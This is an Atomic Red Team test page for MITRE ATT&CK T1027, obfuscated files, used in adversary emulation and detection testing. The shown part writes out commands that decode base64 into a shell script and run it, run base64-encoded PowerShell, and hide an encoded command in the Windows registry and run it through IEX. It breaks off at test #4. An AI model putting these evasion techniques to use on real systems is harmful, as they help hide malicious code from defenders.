# T1027 - Obfuscated Files or Information

## Description from ATT&CK

> Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
> 
> Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.(Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript.
> 
> Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.(Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.(Citation: Carbon Black Obfuscation Sept 2016)
> 
> Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)

[Source](https://attack.mitre.org/techniques/T1027)

## Atomic Tests

- [Atomic Test #1: Decode base64 Data into Script](#atomic-test-1-decode-base64-data-into-script)
- [Atomic Test #2: Execute base64-encoded PowerShell](#atomic-test-2-execute-base64-encoded-powershell)
- [Atomic Test #3: Execute base64-encoded PowerShell from Windows Registry](#atomic-test-3-execute-base64-encoded-powershell-from-windows-registry)
- [Atomic Test #4: Execution from Compressed File](#atomic-test-4-execution-from-compressed-file)
- [Atomic Test #5: DLP Evasion via Sensitive Data in VBA Macro over email](#atomic-test-5-dlp-evasion-via-sensitive-data-in-vba-macro-over-email)
- [Atomic Test #6: DLP Evasion via Sensitive Data in VBA Macro over HTTP](#atomic-test-6-dlp-evasion-via-sensitive-data-in-vba-macro-over-http)
- [Atomic Test #7: Obfuscated Command in PowerShell](#atomic-test-7-obfuscated-command-in-powershell)
- [Atomic Test #8: Obfuscated Command Line using special Unicode characters](#atomic-test-8-obfuscated-command-line-using-special-unicode-characters)
- [Atomic Test #9: Snake Malware Encrypted crmlog file](#atomic-test-9-snake-malware-encrypted-crmlog-file)
- [Atomic Test #10: Execution from Compressed JScript File](#atomic-test-10-execution-from-compressed-jscript-file)
- [Atomic Test #11: Obfuscated PowerShell Command via Character Array](#atomic-test-11-obfuscated-powershell-command-via-character-array)

### Atomic Test #1: Decode base64 Data into Script

Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team` 
and uname -v

**Supported Platforms:** macOS, Linux

**auto_generated_guid:** `f45df6be-2e1e-4136-a384-8f18ab3826fb`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| shell_command | command to encode | string | echo Hello from the Atomic Red Team && uname -v|

#### Attack Commands: Run with `sh`!

```sh
if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi;
cat /tmp/encoded.dat | $cmd > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh
```

#### Cleanup Commands

```sh
rm /tmp/encoded.dat 
rm /tmp/art.sh
```

#### Dependencies: Run with `sh`!

##### Description: encode the command into base64 file

###### Check Prereq Commands

```sh
if [ -e "/tmp/encoded.dat" ]; then exit 0; else exit 1; fi
```

###### Get Prereq Commands

```sh
if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64encode -r -"; else cmd="base64"; fi;
echo "#{shell_command}" | $cmd > /tmp/encoded.dat
```

### Atomic Test #2: Execute base64-encoded PowerShell

Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"

**Supported Platforms:** Windows

**auto_generated_guid:** `a50d5a97-2531-499e-a1de-5544c74432c6`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| powershell_command | PowerShell command to encode | string | Write-Host "Hey, Atomic!"|

#### Attack Commands: Run with `powershell`!

```powershell
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand
```

### Atomic Test #3: Execute base64-encoded PowerShell from Windows Registry

Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute encoded command and read/write from the registry.

**Supported Platforms:** Windows

**auto_generated_guid:** `450e7218-7915-4be4-8b9b-464a49eafcec`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| registry_key_storage | Windows Registry Key to store code | string | HKCU:Software&#92;Microsoft&#92;Windows&#92;CurrentVersion|
| powershell_command | PowerShell command to encode | string | Write-Host "Hey, Atomic!"|
| registry_entry_storage | Windows Registry entry to store code under key | string | Debug|

#### Attack Commands: Run with `powershell`!

```powershell
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand

Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"
```

#### Cleanup Commands

```powershell
Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage}
```
### Atomic Test #4: Execution from Compressed File

Mimic